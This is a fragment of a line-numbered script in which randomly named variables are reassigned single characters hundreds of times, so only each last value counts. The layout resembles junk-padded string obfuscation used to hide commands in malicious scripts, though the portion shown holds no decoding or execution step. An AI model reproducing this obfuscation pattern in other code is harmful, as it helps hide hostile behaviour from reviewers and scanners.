85	dazyp = "z";
86	dazyp = "Z";
87	dazyp = "k";
88	dazyp = "E";
89	dazyp = "E";
90	dazyp = "V";
91	dazyp = "G";
92	dazyp = "N";
93	dazyp = "h";
94	dazyp = "F";
95	dazyp = "d";
96	dazyp = "a";
97	dazyp = "S";
98	livsw = "C";
99	livsw = "X";
100	livsw = "M";
101	livsw = "a";
102	livsw = "B";
103	livsw = "g";
104	livsw = "z";
105	livsw = "a";
106	livsw = "v";
107	livsw = "R";
108	livsw = "x";
109	livsw = "b";
110	livsw = "M";
111	livsw = "u";
112	livsw = "L";
113	livsw = "w";
114	livsw = "V";
115	livsw = "z";
116	livsw = "J";
117	livsw = "L";
118	yyxyu = "n";
119	yyxyu = "Q";
120	yyxyu = "W";
121	yyxyu = "m";
122	yyxyu = "t";
123	yyxyu = "O";
124	yyxyu = "a";
125	yyxyu = "z";
126	yyxyu = "d";
127	yyxyu = "W";
128	yyxyu = "i";
129	yyxyu = "I";
130	yyxyu = "s";
131	yyxyu = "9";
132	aggnt = "d";
133	aggnt = "t";
134	aggnt = "f";
135	aggnt = "I";
136	aggnt = "J";
137	aggnt = "j";
138	aggnt = "a";
139	aggnt = "q";
140	aggnt = "n";
141	aggnt = "f";
142	aggnt = "Y";
143	aggnt = "m";
144	aggnt = "P";
145	aggnt = "u";
146	aggnt = "p";
147	aggnt = "r";
148	aggnt = "k";
149	aggnt = "L";
150	aggnt = "v";
151	aggnt = "h";
152	iqryr = "J";
153	iqryr = "C";
154	iqryr = "i";
155	iqryr = "O";
156	iqryr = "m";
157	iqryr = "L";
158	iqryr = "g";
159	iqryr = "Z";
160	iqryr = "D";
161	iqryr = "D";
162	iqryr = "N";
163	iqryr = "w";
164	iqryr = "q";
165	iqryr = "n";
166	iqryr = "I";
167	iqryr = "z";
168	iqryr = "m";
169	iqryr = "P";
170	iqryr = "I";
171	iqryr = "O";
172	iqryr = "l";
173	iqryr = "y";
174	iqryr = "a";
175	iqryr = "r";
176	iqryr = "N";
177	iqryr = "K";
178	iqryr = "Y";
179	iqryr = "G";
180	iqryr = "E";
181	iqryr = "i";
182	iqryr = "t";
183	iqryr = "p";
184	iqryr = "R";
185	iqryr = "e";
186	iqryr = "f";
187	iqryr = "v";
188	iqryr = "m";
189	iqryr = "x";
190	iqryr = "t";
191	iqryr = "g";
192	iqryr = "X";
193	iqryr = "S";
194	iqryr = "e";
195	koazzzbb = "C";
196	koazzzbb = "v";
197	koazzzbb = "o";
198	koazzzbb = "o";
199	koazzzbb = "W";
200	koazzzbb = "I";
201	koazzzbb = "C";
202	koazzzbb = "X";
203	koazzzbb = "w";
204	koazzzbb = "D";
205	koazzzbb = "f";
206	koazzzbb = "x";
207	koazzzbb = "u";
208	koazzzbb = "E";
209	koazzzbb = "m";
210	koazzzbb = "V";
211	koazzzbb = "m";
212	koazzzbb = "C";
213	koazzzbb = "k";
214	koazzzbb = "y";
215	koazzzbb = "d";
216	koazzzbb = "d";
217	koazzzbb = "o";
218	koazzzbb = "q";
219	koazzzbb = "m";
220	koazzzbb = "B";
221	koazzzbb = "q";
222	koazzzbb = "S";
223	koazzzbb = "Q";
224	koazzzbb = "d";
225	koazzzbb = "y";
226	koazzzbb = "O";
227	ctmretl = "D";
228	ctmretl = "c";
229	ctmretl = "y";
230	ctmretl = "b";
231	ctmretl = "q";
232	ctmretl = "s";
233	ctmretl = "H";
234	ctmretl = "J";
235	ctmretl = "n";
236	ctmretl = "q";
237	ctmretl = "w";
238	ctmretl = "H";
239	unqgwztq = "l";
240	unqgwztq = "w";
241	unqgwztq = "c";
242	unqgwztq = "K";
243	unqgwztq = "h";
244	unqgwztq = "H";
245	unqgwztq = "o";
246	unqgwztq = "X";
247	unqgwztq = "x";
248	unqgwztq = "m";
249	unqgwztq = "J";
250	unqgwztq = "b";
251	unqgwztq = "d";
252	unqgwztq = "n";
253	unqgwztq = "Z";
254	unqgwztq = "x";
255	unqgwztq = "N";
256	unqgwztq = "t";
257	unqgwztq = "j";
258	unqgwztq = "h";
259	unqgwztq = "a";
260	unqgwztq = "k";
261	unqgwztq = "z";
262	unqgwztq = "Y";
263	unqgwztq = "k";
264	unqgwztq = "U";
265	unqgwztq = "N";
266	unqgwztq = "q";
267	unqgwztq = "K";
268	unqgwztq = "b";
269	unqgwztq = "G";
270	unqgwztq = "r";
271	unqgwztq = "k";
272	unqgwztq = "I";
273	unqgwztq = "h";
274	unqgwztq = "S";
275	unqgwztq = "h";
276	unqgwztq = "w";
277	unqgwztq = "4";
278	shkwmikd = "b";
279	shkwmikd = "r";
280	shkwmikd = "k";
281	shkwmikd = "r";
282	shkwmikd = "d";
283	shkwmikd = "Y";
284	shkwmikd = "p";
285	shkwmikd = "C";
286	shkwmikd = "Y";
287	shkwmikd = "n";
288	shkwmikd = "r";
289	shkwmikd = "c";
290	shkwmikd = "u";
291	shkwmikd = "I";
292	shkwmikd = "n";
293	shkwmikd = "y";
294	shkwmikd = "G";
295	shkwmikd = "c";
296	puqxhhm = "W";
297	puqxhhm = "t";
298	puqxhhm = "j";
299	puqxhhm = "v";
300	puqxhhm = "m";
301	puqxhhm = "M";
302	puqxhhm = "V";
303	puqxhhm = "e";
304	puqxhhm = "P";
305	puqxhhm = "y";
306	puqxhhm = "K";
307	puqxhhm = "M";
308	puqxhhm = "h";
309	puqxhhm = "n";
310	puqxhhm = "i";
311	puqxhhm = "w";
312	puqxhhm = "V";
313	puqxhhm = "v";
314	puqxhhm = "C";
315	puqxhhm = "S";
316	puqxhhm = "G";
317	puqxhhm = "B";
318	puqxhhm = "R";
319	puqxhhm = "k";
320	puqxhhm = "r";
321	puqxhhm = "A";
322	puqxhhm = "H";
323	puqxhhm = "C";
324	puqxhhm = "a";
325	puqxhhm = "R";
326	puqxhhm = "J";
327	puqxhhm = "P";
328	puqxhhm = "E";
329	puqxhhm = "M";
330	puqxhhm = "H";
331	puqxhhm = "S";
332	puqxhhm = "q";
333	puqxhhm = "o";
334	puqxhhm = "K";
335	fxeqxut = "q";
336	fxeqxut = "S";
337	fxeqxut = "M";
338	fxeqxut = "T";
339	fxeqxut = "l";
340	fxeqxut = "C";
341	fxeqxut = "A";
342	fxeqxut = "i";
343	fxeqxut = "d";
344	fxeqxut = "B";
345	fxeqxut = "U";
346	fxeqxut = "W";
347	fxeqxut = "M";
348	fxeqxut = "X";
349	fxeqxut = "p";
350	fxeqxut = "x";
351	fxeqxut = "h";
352	fxeqxut = "l";
353	fxeqxut = "a";
354	fxeqxut = "T";
355	fxeqxut = "G";
356	fxeqxut = "Q";
357	fxeqxut = "w";
358	fxeqxut = "p";
359	egzeqr = "S";
360	egzeqr = "x";
361	egzeqr = "q";
362	egzeqr = "k";
363	egzeqr = "K";
364	egzeqr = "N";
365	egzeqr = "R";
366	egzeqr = "C";
367	egzeqr = "o";
368	egzeqr = "M";
369	egzeqr = "T";
370	egzeqr = "M";
371	egzeqr = "s";
372	egzeqr = "O";
373	egzeqr = "z";
374	egzeqr = "j";
375	egzeqr = "A";
376	egzeqr = "C";
377	egzeqr = "W";
378	egzeqr = "V";
379	egzeqr = "X";
380	egzeqr = "t";
381	egzeqr = "T";
382	egzeqr = "j";
383	egzeqr = "r";
384	egzeqr = "x";
385	cpvddspk = "W";
386	cpvddspk = "M";
387	cpvddspk = "C";
388	zhrbzc = "R";
389	zhrbzc = "x";
390	zhrbzc = "l";
391	zhrbzc = "e";
392	zhrbzc = "t";
393	zhrbzc = "W";
394	bkmokqof = "q";
395	bkmokqof = "R";
396	bkmokqof = "n";
397	bkmokqof = "O";
398	bkmokqof = "N";
399	bkmokqof = "t";
400	bkmokqof = "J";
401	bkmokqof = "G";
402	bkmokqof = "b";
403	bkmokqof = "f";
404	bkmokqof = "i";
405	bkmokqof = "O";
406	bkmokqof = "i";
407	bkmokqof = "W";
408	bkmokqof = "N";
409	bkmokqof = "M";
410	bkmokqof = "A";
411	bkmokqof = "e";
412	bkmokqof = "d";
413	bkmokqof = "I";
414	bkmokqof = "K";
415	bkmokqof = "o";
416	bkmokqof = "o";
417	bkmokqof = "g";
418	bkmokqof = "r";
419	bkmokqof = "X";
420	bkmokqof = "U";
421	bkmokqof = "G";
422	bkmokqof = "Z";
423	bkmokqof = "j";
424	bkmokqof = "Q";
425	bkmokqof = "Z";
426	bkmokqof = "J";
427	bkmokqof = "L";
428	bkmokqof = "j";
429	bkmokqof = "L";
430	bkmokqof = "m";
431	bkmokqof = "U";
432	bkmokqof = "m";
433	bkmokqof = "s";
434	bkmokqof = "U";
435	dmsog = "P";
436	dmsog = "%";
437	mmehsev = "Z";
438	mmehsev = "t";
439	mmehsev = "o";
440	mmehsev = "N";
441	mmehsev = "v";
442	mmehsev = "j";
443	mmehsev = "S";
444	mmehsev = "y";
445	mmehsev = "Y";
446	mmehsev = "Z";
447	mmehsev = "H";
448	mmehsev = "X";
449	mmehsev = "m";
450	mmehsev = "n";
451	twjtxo = "S";
452	twjtxo = "K";
453	twjtxo = "b";
454	twjtxo = "o";
455	twjtxo = "j";
456	twjtxo = "Z";
457	twjtxo = "q";
458	twjtxo = "S";
459	twjtxo = "e";
460	twjtxo = "h";
461	twjtxo = "M";
462	twjtxo = "K";
463	twjtxo = "S";
464	twjtxo = "z";
465	twjtxo = "g";
466	twjtxo = "v";
467	twjtxo = "s";
468	twjtxo = "k";
469	twjtxo = "f";
470	twjtxo = "p";
471	twjtxo = "v";
472	twjtxo = "P";
473	twjtxo = "E";
474	twjtxo = "H";
475	twjtxo = "j";
476	twjtxo = "G";
477	twjtxo = "i";
478	twjtxo = "s";
479	twjtxo = "p";
480	twjtxo = "O";
481	twjtxo = "K";
482	twjtxo = "A";
483	twjtxo = "@";
484	lfjvdh = "Y";
485	lfjvdh = "u";
486	lfjvdh = "w";
487	lfjvdh = "d";
488	lfjvdh = "e";
489	lfjvdh = "Z";
490	lfjvdh = "v";
491	lfjvdh = "v";
492	lfjvdh = "y";
493	lfjvdh = "Z";
494	lfjvdh = "O";
495	lfjvdh = "L";
496	lfjvdh = "c";
497	lfjvdh = "o";
498	lfjvdh = "c";
499	lfjvdh = "V";
500	lfjvdh = "d";
501	lfjvdh = "W";
502	lfjvdh = "h";
503	lfjvdh = "z";
504	lfjvdh = "Y";
505	lfjvdh = "F";
506	lfjvdh = "B";
507	lfjvdh = "j";
508	lfjvdh = "V";
509	lfjvdh = "d";
510	lfjvdh = "N";
511	lfjvdh = "S";
512	lfjvdh = "x";
513	lfjvdh = "b";
514	lfjvdh = "v";
515	iyxjfptt = "d";
516	iyxjfptt = "e";
517	iyxjfptt = "f";
518	iyxjfptt = "Y";
519	iyxjfptt = "y";
520	iyxjfptt = "O";
521	iyxjfptt = "b";
522	iyxjfptt = "j";
523	iyxjfptt = "K";
524	iyxjfptt = "F";
525	iyxjfptt = "r";
526	iyxjfptt = "M";
527	iyxjfptt = "K";
528	iyxjfptt = "0";
529	viiux = "w";
530	viiux = "V";
531	viiux = "d";
532	viiux = "K";
533	viiux = "W";
534	viiux = "a";
535	viiux = "y";
536	viiux = "d";
537	viiux = "q";
538	viiux = "N";
539	viiux = "K";
540	viiux = "v";
541	viiux = "Z";
542	viiux = "a";
543	pgdhb = "i";
544	pgdhb = "J";
545	pgdhb = "B";
546	pgdhb = "l";
547	rffyy = "l";
548	rffyy = "Q";
549	rffyy = "C";
550	rffyy = "M";
551	rffyy = "S";
552	rffyy = "I";
553	rffyy = "r";
554	rffyy = "z";
555	rffyy = "R";
556	rffyy = "o";
557	rffyy = "a";
558	rffyy = "D";
559	rffyy = "N";
560	rffyy = "v";
561	rffyy = "W";
562	rffyy = "p";
563	rffyy = "o";
564	rffyy = "S";
565	rffyy = "U";
566	rffyy = "h";
567	rffyy = "v";
568	rffyy = "K";
569	rffyy = "C";
570	rffyy = "Z";
571	rffyy = "g";
572	rffyy = "M";
573	rffyy = "P";
574	rffyy = "n";
575	rffyy = "U";
576	rffyy = "W";
577	rffyy = "P";
578	rffyy = "m";
579	rffyy = "i";
580	rffyy = "w";
581	flniqdojp = "j";
582	flniqdojp = "y";
583	flniqdojp = "S";
584	flniqdojp = "O";
585	flniqdojp = "F";
586	flniqdojp = "y";
587	flniqdojp = "i";
588	flniqdojp = "q";
589	flniqdojp = "I";
590	flniqdojp = "T";
591	nviasahik = "Q";
592	nviasahik = "F";
593	nviasahik = " ";
594	zisac = "L";
595	zisac = "c";
596	zisac = "e";
597	zisac = "N";
598	zisac = "C";
599	zisac = "R";
600	zisac = "b";
601	zisac = "h";
602	zisac = "C";
603	zisac = "T";
604	zisac = "W";
605	zisac = "s";
606	zisac = "O";
607	zisac = "l";
608	zisac = "V";
609	zisac = "E";
610	zisac = "M";
611	zisac = "h";
612	zisac = "g";
613	zisac = "H";
614	zisac = "e";
615	zisac = "B";
616	zisac = "M";
617	zisac = "i";
618	zisac = "e";
619	zisac = "f";
620	zisac = "Q";
621	zisac = "m";
622	zisac = "n";
623	zisac = "f";
624	zisac = "h";
625	zisac = "u";
626	zisac = "S";
627	zisac = "Q";
628	zisac = "C";
629	zisac = "Y";
630	zisac = "R";
631	zisac = "Q";
632	nomadobzy = "E";
633	nomadobzy = "w";
634	nomadobzy = "v";
635	nomadobzy = "H";
636	nomadobzy = "w";
637	nomadobzy = "N";
638	nomadobzy = "D";
639	nomadobzy = "P";
640	nomadobzy = "w";
641	nomadobzy = "L";
642	nomadobzy = "Y";
643	nomadobzy = "m";
644	nomadobzy = ":";
645	bcskpxial = "f";
646	bcskpxial = "F";
647	bcskpxial = "n";
648	bcskpxial = "B";
649	bcskpxial = "t";
650	bcskpxial = "F";
651	bcskpxial = "e";
652	bcskpxial = "k";
653	bcskpxial = "K";
654	bcskpxial = "i";
655	bcskpxial = "H";
656	bcskpxial = "A";
657	bcskpxial = "r";
658	bcskpxial = "v";
659	bcskpxial = "J";
660	bcskpxial = "V";
661	bcskpxial = "v";
662	bcskpxial = "i";
663	bcskpxial = "h";
664	bcskpxial = "v";
665	bcskpxial = "T";
666	bcskpxial = "Z";
667	bcskpxial = "a";
668	bcskpxial = "U";
669	bcskpxial = "a";
670	bcskpxial = "m";
671	ryuhagah = "I";
672	ryuhagah = "I";
673	ryuhagah = "g";
674	ryuhagah = "s";
675	lphmuee = "i";
676	lphmuee = "g";
677	lphmuee = "X";
678	lphmuee = "n";
679	lphmuee = "r";
680	oroqnhet = "z";
681	oroqnhet = "v";
682	oroqnhet = "b";
683	oroqnhet = "E";
684	oroqnhet = "p";
685	oroqnhet = "f";
686	oroqnhet = "a";
687	oroqnhet = "h";
688	oroqnhet = "e";
689	oroqnhet = "V";
690	oroqnhet = "F";
691	oroqnhet = "U";
692	oroqnhet = "a";
693	oroqnhet = "Y";
694	oroqnhet = "d";
695	atnafmjya = "Y";
696	atnafmjya = "f";
697	atnafmjya = "o";
698	atnafmjya = "F";
699	atnafmjya = "Y";
700	atnafmjya = "K";
701	atnafmjya = "p";
702	atnafmjya = "I";
703	atnafmjya = "P";
704	wzzouloj = "p";
705	wzzouloj = "L";
706	wzzouloj = "q";
707	wzzouloj = "F";
708	wzzouloj = "V";
709	wzzouloj = "h";
710	wzzouloj = "Z";
711	wzzouloj = "Q";
712	wzzouloj = "s";
713	wzzouloj = "V";
714	wzzouloj = "C";
715	wzzouloj = "g";
716	wzzouloj = "L";
717	wzzouloj = "Z";
718	wzzouloj = "q";
719	wzzouloj = "o";
720	yguvaapa = "t";
721	yguvaapa = "S";
722	yguvaapa = "B";
723	yguvaapa = "E";
724	ptbnld = "a";
725	ptbnld = "U";
726	ptbnld = "j";
727	ptbnld = "H";
728	ptbnld = "C";
729	ptbnld = "C";
730	ptbnld = "I";
731	ptbnld = "S";
732	ptbnld = "h";
733	ptbnld = "w";
734	ptbnld = "H";
735	ptbnld = "E";
736	ptbnld = "i";
737	ptbnld = "e";
738	ptbnld = "g";
739	ptbnld = "p";
740	ptbnld = "V";
741	ptbnld = "I";
742	ptbnld = "n";
743	ptbnld = "X";
744	ptbnld = "N";
745	ptbnld = "j";
746	ptbnld = "J";
747	ptbnld = "e";
748	ptbnld = "Q";
749	ptbnld = "p";
750	ptbnld = "v";
751	ptbnld = "i";
752	ptbnld = "p";
753	ptbnld = "e";
754	ptbnld = "G";
755	ptbnld = "U";
756	ptbnld = "o";
757	ptbnld = "g";
758	ptbnld = "S";
759	ptbnld = "n";
760	ptbnld = "q";
761	ptbnld = "r";
762	ptbnld = "N";
763	ptbnld = "W";
764	ptbnld = "P";
765	ptbnld = "l";
766	ptbnld = "E";
767	ptbnld = "L";
768	ptbnld = "2";
769	yrchclcuz = "U";
770	yrchclcuz = "N";
771	yrchclcuz = "V";
772	yrchclcuz = "y";
773	yrchclcuz = "k";
774	yrchclcuz = "t";
775	dllhtqdev = "p";
776	dllhtqdev = "P";
777	dllhtqdev = "L";
778	dllhtqdev = "b";
779	dllhtqdev = "A";
780	dllhtqdev = "Y";
781	dllhtqdev = "W";
782	dllhtqdev = "u";
783	dllhtqdev = "T";
784	dllhtqdev = "m";
785	dllhtqdev = "L";
786	dllhtqdev = "W";
787	dllhtqdev = "p";
788	dllhtqdev = "j";
789	dllhtqdev = "C";
790	dllhtqdev = "n";
791	dllhtqdev = "j";
792	dllhtqdev = "m";
793	dllhtqdev = "P";
794	dllhtqdev = "d";
795	dllhtqdev = "F";
796	dllhtqdev = "n";
797	dllhtqdev = "a";
798	dllhtqdev = "V";
799	dllhtqdev = "Y";
800	dllhtqdev = "S";
801	dllhtqdev = "b";
802	dllhtqdev = "a";
803	dllhtqdev = "r";
804	dllhtqdev = "s";
805	dllhtqdev = "p";
806	dllhtqdev = "p";
807	dllhtqdev = "C";
808	dllhtqdev = "J";
809	dllhtqdev = "T";
810	dllhtqdev = "k";
811	dllhtqdev = "c";
812	dllhtqdev = "k";
813	dllhtqdev = "z";
814	dllhtqdev = "I";
815	dllhtqdev = "j";
816	dllhtqdev = "L";
817	dllhtqdev = "x";
818	dllhtqdev = "3";
819	hwkuv = "h";
820	hwkuv = "e";
821	hwkuv = "y";
822	hwkuv = "f";
823	hwkuv = "S";
824	hwkuv = "x";
825	hwkuv = "g";
826	hwkuv = "Q";
827	hwkuv = "J";
828	hwkuv = "e";
829	hwkuv = "P";
830	hwkuv = "z";
831	hwkuv = "n";
832	hwkuv = "H";
833	hwkuv = "U";
834	hwkuv = "D";
835	hwkuv = "O";
836	hwkuv = "u";
837	hwkuv = "p";
838	hwkuv = "k";
839	hwkuv = "t";
840	hwkuv = "D";
841	hwkuv = "k";
842	hwkuv = "X";
843	hwkuv = "P";
844	hwkuv = "v";
845	hwkuv = "o";
846	hwkuv = "n";
847	hwkuv = "M";
848	hwkuv = "&";
849	rkikci = "w";
850	rkikci = "p";
851	rkikci = "x";
852	rkikci = "X";
853	rkikci = "p";
854	rkikci = "l";
855	rkikci = "r";
856	rkikci = "D";
857	rkikci = "V";
858	rkikci = "d";
859	rkikci = "J";
860	rkikci = "i";
861	rkikci = "z";
862	rkikci = "y";
863	rkikci = "I";
864	rkikci = "K";
865	rkikci = "d";
866	rkikci = "u";
867	rkikci = "n";
868	rkikci = "z";
869	rkikci = "b";
870	rkikci = "H";
871	rkikci = "b";
872	rkikci = "X";
873	rkikci = "o";
874	rkikci = "B";
875	rkikci = "m";
876	rkikci = "q";
877	rkikci = "O";
878	rkikci = "O";
879	rkikci = "H";
880	rkikci = "z";
881	rkikci = "n";
882	rkikci = "a";
883	rkikci = "M";
884	rkikci = "M";
885	rkikci = "j";
886	rkikci = "7";
887	nbplolqe = "K";
888	nbplolqe = "D";
889	nbplolqe = "k";
890	nbplolqe = "k";
891	nbplolqe = "U";
892	nbplolqe = "W";
893	nbplolqe = "T";
894	nbplolqe = "Q";
895	nbplolqe = "m";
896	nbplolqe = "y";
897	nbplolqe = "r";
898	nbplolqe = "H";
899	nbplolqe = "f";
900	nbplolqe = "Y";
901	nbplolqe = "r";
902	nbplolqe = "P";
903	nbplolqe = "J";
904	nbplolqe = "N";
905	nbplolqe = "v";
906	nbplolqe = "l";
907	nbplolqe = "H";
908	nbplolqe = "D";
909	nbplolqe = "H";
910	nbplolqe = "E";
911	nbplolqe = "b";
912	nbplolqe = "Z";
913	nbplolqe = "b";
914	nbplolqe = "\\";
915	lyzoywzma = "Y";
916	lyzoywzma = "u";
917	lyzoywzma = "d";
918	lyzoywzma = "B";
919	lyzoywzma = "q";
920	lyzoywzma = "h";
921	lyzoywzma = "w";
922	lyzoywzma = "K";
923	lyzoywzma = "z";
924	lyzoywzma = "g";
925	lyzoywzma = "s";
926	lyzoywzma = "B";
927	lyzoywzma = "S";
928	lyzoywzma = "a";
929	lyzoywzma = "c";
930	lyzoywzma = "r";
931	lyzoywzma = "U";
932	lyzoywzma = "u";
933	lyzoywzma = "A";
934	lyzoywzma = "F";
935	lyzoywzma = "M";
936	lyzoywzma = "U";
937	lyzoywzma = "M";
938	lyzoywzma = "B";
939	lyzoywzma = "M";
940	lyzoywzma = "B";
941	lyzoywzma = "L";
942	lyzoywzma = "v";
943	lyzoywzma = "T";
944	lyzoywzma = "H";
945	lyzoywzma = "D";
946	lyzoywzma = "Y";
947	gvvxcaboj = "k";
948	gvvxcaboj = "M";
949	gvvxcaboj = "i";
950	gvvxcaboj = "n";
951	gvvxcaboj = "k";
952	gvvxcaboj = "c";
953	gvvxcaboj = "x";
954	gvvxcaboj = "n";
955	gvvxcaboj = "g";
956	gvvxcaboj = "C";
957	gvvxcaboj = "D";
958	gvvxcaboj = "q";
959	gvvxcaboj = "r";
960	gvvxcaboj = "I";
961	gvvxcaboj = "M";
962	gvvxcaboj = "O";
963	gvvxcaboj = "u";
964	gvvxcaboj = "p";
965	gvvxcaboj = "w";
966	gvvxcaboj = "L";
967	gvvxcaboj = "U";
968	gvvxcaboj = "K";
969	gvvxcaboj = "O";
970	gvvxcaboj = "I";
971	gvvxcaboj = "1";
972	awxsn = "S";
973	awxsn = "J";
974	awxsn = "v";
975	awxsn = "C";
976	awxsn = "f";
977	awxsn = "n";
978	awxsn = "g";
979	awxsn = "X";
980	awxsn = "q";
981	awxsn = "W";
982	awxsn = "z";
983	awxsn = "Z";
984	awxsn = "x";
985	awxsn = "s";
986	awxsn = "C";
987	awxsn = "V";
988	awxsn = "j";
989	awxsn = "Z";
990	awxsn = "E";
991	awxsn = "o";
992	awxsn = "P";
993	awxsn = "C";
994	awxsn = "n";
995	awxsn = "l";
996	awxsn = "U";
997	awxsn = "j";
998	awxsn = "S";
999	awxsn = "F";
1000	awxsn = "E";
1001	awxsn = "M";
1002	awxsn = "I";
1003	awxsn = "b";
1004	awxsn = "S";
1005	awxsn = "g";
1006	awxsn = "X";
1007	awxsn = "B";
1008	awxsn = "Q";
1009	awxsn = "B";
1010	awxsn = "X";
1011	awxsn = "k";
1012	awxsn = "F";
1013	awxsn = "-";
1014	oivthv = "v";
1015	oivthv = "E";
1016	oivthv = "v";
1017	oivthv = "r";
1018	oivthv = "Z";
1019	oivthv = "k";
1020	oivthv = "j";
1021	oivthv = "m";
1022	oivthv = "E";
1023	oivthv = "k";
1024	oivthv = "B";
1025	oivthv = "N";
1026	oivthv = "q";
1027	zswwsap = "m";
1028	zswwsap = "j";
1029	zswwsap = "n";
1030	zswwsap = "S";
1031	zswwsap = "a";
1032	zswwsap = "G";
1033	zswwsap = "V";
1034	zswwsap = "p";
1035	zswwsap = "G";
1036	zswwsap = "E";
1037	zswwsap = "e";
1038	zswwsap = "E";
1039	zswwsap = "h";
1040	zswwsap = "p";
1041	zswwsap = "Q";
1042	zswwsap = "k";
1043	zswwsap = "I";
1044	zswwsap = "U";
1045	zswwsap = "z";
1046	zswwsap = "Q";
1047	zswwsap = "P";
1048	zswwsap = "X";
1049	zswwsap = "p";
1050	zswwsap = "F";
1051	ckxegjgco = "x";
1052	ckxegjgco = "A";
1053	ckxegjgco = "a";
1054	ckxegjgco = "z";
1055	ckxegjgco = "U";
1056	ckxegjgco = "C";
1057	ckxegjgco = "M";
1058	ckxegjgco = "q";
1059	ckxegjgco = "M";
1060	ckxegjgco = "t";
1061	ckxegjgco = "c";
1062	ckxegjgco = "u";
1063	humue = "r";
1064	humue = "8";
1065	mxnxq = "M";
1066	mxnxq = "Q";
1067	mxnxq = "V";
1068	mxnxq = "j";
1069	mxnxq = "C";
1070	mxnxq = "w";
1071	mxnxq = "g";
1072	mxnxq = "T";
1073	mxnxq = "D";
1074	mxnxq = "f";
1075	mxnxq = "U";
1076	mxnxq = "g";
1077	mxnxq = "c";
1078	mxnxq = "u";
1079	mxnxq = "o";
1080	mxnxq = "m";
1081	mxnxq = "u";
1082	mxnxq = "V";
1083	mxnxq = "t";
1084	mxnxq = "b";
1085	mxnxq = "y";
1086	mxnxq = "x";
1087	mxnxq = "R";
1088	mxnxq = "c";
1089	mxnxq = "E";
1090	mxnxq = "V";
1091	mxnxq = "j";
1092	mxnxq = "h";
1093	mxnxq = "s";
1094	mxnxq = "L";
1095	mxnxq = "r";
1096	mxnxq = "X";
1097	mxnxq = "V";
1098	mxnxq = "V";
1099	mxnxq = "H";
1100	mxnxq = "U";
1101	mxnxq = "G";
1102	mxnxq = "V";
1103	mxnxq = "N";
1104	mxnxq = "j";
1105	mxnxq = "D";
1106	mxnxq = "Y";
1107	mxnxq = "Q";
1108	mxnxq = "N";
1109	czzblza = "t";
1110	czzblza = "B";
1111	czzblza = "w";
1112	czzblza = "R";
1113	czzblza = "u";
1114	czzblza = "v";
1115	czzblza = "N";
1116	czzblza = "l";
1117	czzblza = "K";
1118	czzblza = "u";
1119	czzblza = "T";
1120	czzblza = "r";
1121	czzblza = "n";
1122	czzblza = "W";
1123	czzblza = "y";
1124	czzblza = "N";
1125	czzblza = "Q";
1126	czzblza = "w";
1127	czzblza = "a";
1128	czzblza = "e";
1129	czzblza = "i";
1130	czzblza = "b";
1131	czzblza = "p";
1132	czzblza = "l";
1133	czzblza = "E";
1134	czzblza = "f";
1135	czzblza = "U";
1136	czzblza = "C";
1137	czzblza = "D";
1138	czzblza = "l";
1139	czzblza = "J";
1140	czzblza = "p";
1141	czzblza = "h";
1142	czzblza = "c";
1143	czzblza = "A";
1144	czzblza = "M";
1145	czzblza = "g";
1146	wqhemq = "o";
1147	wqhemq = "w";
1148	wqhemq = "T";
1149	wqhemq = "/";
1150	mhoan = "x";
1151	mhoan = "G";
1152	mhoan = "B";
1153	mhoan = "u";
1154	mhoan = "Q";
1155	mhoan = "w";
1156	mhoan = "O";
1157	mhoan = "d";
1158	mhoan = "t";
1159	mhoan = "i";
1160	mhoan = "X";
1161	mhoan = "h";
1162	mhoan = "y";
1163	mhoan = "N";
1164	mhoan = "x";
1165	mhoan = "I";
1166	mhoan = "p";
1167	mhoan = "u";
1168	mhoan = "N";
1169	mhoan = ".";
1170	aebncc = "E";
1171	aebncc = "C";
1172	aebncc = "M";
1173	aebncc = "h";
1174	aebncc = "k";
1175	aebncc = "M";
1176	aebncc = "u";
1177	aebncc = "F";
1178	aebncc = "q";
1179	aebncc = "a";
1180	aebncc = "t";
1181	aebncc = "H";
1182	aebncc = "p";
1183	aebncc = "H";
1184	aebncc = "Y";
1185	aebncc = "u";
1186	aebncc = "C";
1187	aebncc = "m";
1188	aebncc = "Z";
1189	aebncc = "a";
1190	aebncc = "g";
1191	aebncc = "i";
1192	aebncc = "L";
1193	aebncc = "X";
1194	aebncc = "Q";
1195	aebncc = "G";
1196	aebncc = "m";
1197	aebncc = "v";
1198	aebncc = "i";
1199	aebncc = "x";
1200	aebncc = "C";
1201	aebncc = "u";
1202	aebncc = "r";
1203	aebncc = "Q";
1204	aebncc = "K";
1205	aebncc = "i";
1206	eidsdiqpq = "B";
1207	eidsdiqpq = "y";
1208	eidsdiqpq = "C";
1209	eidsdiqpq = "G";
1210	eidsdiqpq = "a";
1211	eidsdiqpq = "E";
1212	eidsdiqpq = "x";
1213	eidsdiqpq = "N";
1214	eidsdiqpq = "X";
1215	eidsdiqpq = "y";
1216	eidsdiqpq = "n";
1217	eidsdiqpq = "O";
1218	eidsdiqpq = "y";
1219	eidsdiqpq = "Y";
1220	eidsdiqpq = "H";
1221	eidsdiqpq = "z";
1222	eidsdiqpq = "i";
1223	eidsdiqpq = "j";
1224	eidsdiqpq = "L";
1225	eidsdiqpq = "L";
1226	eidsdiqpq = "P";
1227	eidsdiqpq = "T";
1228	eidsdiqpq = "b";
1229	eidsdiqpq = "d";
1230	eidsdiqpq = "R";
1231	eidsdiqpq = "X";
1232	eidsdiqpq = "j";
1233	eidsdiqpq = "s";
1234	eidsdiqpq = "O";
1235	eidsdiqpq = "w";
1236	eidsdiqpq = "d";
1237	eidsdiqpq = "d";
1238	eidsdiqpq = "W";
1239	eidsdiqpq = "5";
1240	kdpfdif = "P";
1241	kdpfdif = "u";
1242	kdpfdif = "g";
1243	kdpfdif = "v";
1244	kdpfdif = "l";
1245	kdpfdif = "M";
1246	kdpfdif = "H";
1247	kdpfdif = "o";
1248	kdpfdif = "e";
1249	kdpfdif = "p";
1250	kdpfdif = "y";
1251	kdpfdif = "U";
1252	kdpfdif = "l";
1253	kdpfdif = "A";
1254	kdpfdif = "G";
1255	kdpfdif = "j";
1256	vmcddf = "p";
1257	vmcddf = "T";
1258	vmcddf = "U";
1259	vmcddf = "X";
1260	vmcddf = "E";
1261	vmcddf = "V";
1262	vmcddf = "D";
1263	vmcddf = "m";
1264	vmcddf = "W";
1265	vmcddf = "P";
1266	vmcddf = "L";
1267	vmcddf = "A";
1268	vmcddf = "P";
1269	vmcddf = "j";
1270	vmcddf = "V";
1271	vmcddf = "m";
1272	vmcddf = "E";
1273	vmcddf = "E";
1274	vmcddf = "X";
1275	vmcddf = "f";
1276	vmcddf = "x";
1277	vmcddf = "l";
1278	vmcddf = "f";
